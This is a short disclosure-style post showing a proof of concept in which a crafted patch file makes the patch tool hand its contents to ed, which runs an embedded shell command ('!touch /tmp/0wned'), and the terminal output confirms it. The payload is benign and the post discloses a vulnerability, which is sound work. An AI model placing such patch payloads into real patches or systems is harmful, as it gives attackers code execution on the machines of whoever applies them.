patch runs ed, and ed can run anything

patch runs ed, and ed can run anything

$ cat evil.patch 
--- /dev/null   2018-13-37 13:37:37.000000000 +0100                            
+++ b/beep.c    2018-13-37 13:38:38.000000000 +0100                            
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!touch /tmp/0wned; ls -la /tmp/0wned
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$ patch < evil.patch 
?
?
-rw-r--r-- 1 edu users 0 Apr  5 10:42 /tmp/0wned
?
patch: **** /usr/bin/ed FAILED
$ 

Source: patch runs ed, and ed can run anything

 

Raony Guimaraes